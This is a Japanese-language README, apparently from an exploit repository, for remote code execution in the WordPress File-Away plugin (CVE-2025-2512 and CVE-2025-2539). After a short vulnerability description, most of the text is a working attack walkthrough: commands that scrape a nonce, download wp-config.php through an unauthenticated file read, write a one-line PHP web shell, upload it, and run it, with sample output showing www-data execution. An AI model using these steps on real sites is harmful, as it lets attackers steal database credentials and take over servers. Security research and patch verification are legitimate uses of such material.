
WordPress File-Awayプラグイン用のリモートコード実行エクスプロイトスクリプト (CVE-2025-2512 & CVE-2025-2539)
このリポジトリには、File-Away(ファイル管理に使用されるWordPressプラグイン)で発見された脆弱性の詳細とスクリプトが含まれています。
このプラグインには、リモートコード実行につながる2つの脆弱性が含まれています(File-Away 3.9.9.0.1 でテスト済み):
WordPress用プラグインFile-Awayは、バージョン3.9.9.0.1までのすべてのバージョンにおいて、認証なしの任意ファイル読み取りに対して脆弱です。
この脆弱性は、次の2つの問題が原因で発生します。lib/cls/class.fileaway_stats.php:file_away_stats->ajax()関数における認証確認の欠如と、lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt()関数における脆弱な暗号アルゴリズムの使用です。
これにより、認証されていない攻撃者がWordPress設定ファイル(wp-config.php)を含む任意のファイルを読み取ることが可能になります。
WordPress用プラグインFile-Awayは、バージョン3.9.9.0.1までのすべてのバージョンにおいて、認証なしの任意ファイルアップロードに対して脆弱です。
この脆弱性は、lib/cls/class.fileaway_management.php:fileaway_management->upload()関数における認証確認の欠如と不適切なファイルタイプ検証の2つの問題が原因で発生します。
これにより、認証されていない攻撃者が任意のファイルをアップロードし、コード実行につながる可能性があります。
対象のWordPressインスタンスにFile-Awayプラグインがインストールされ有効化されている場合、fileaway_stats nonceがインデックスページに存在するはずです:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
python の依存関係をインストール:
python3 -m venv venv && venv/bin/pip install httpx
任意ファイル読み取りの脆弱性を使用して、WordPressインスタンスの設定ファイル(wp-config.php)を取得します:
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
アップロードするPHPファイルを作成:
echo '<?php system("id"); ?>' > /tmp/exec.php
任意ファイルアップロードの脆弱性を使用して、サーバーにファイルをアップロード:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ ファイルはデフォルトで wp-content ディレクトリにアップロードされます ⚠️
アップロードしたPHPファイルにアクセス:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)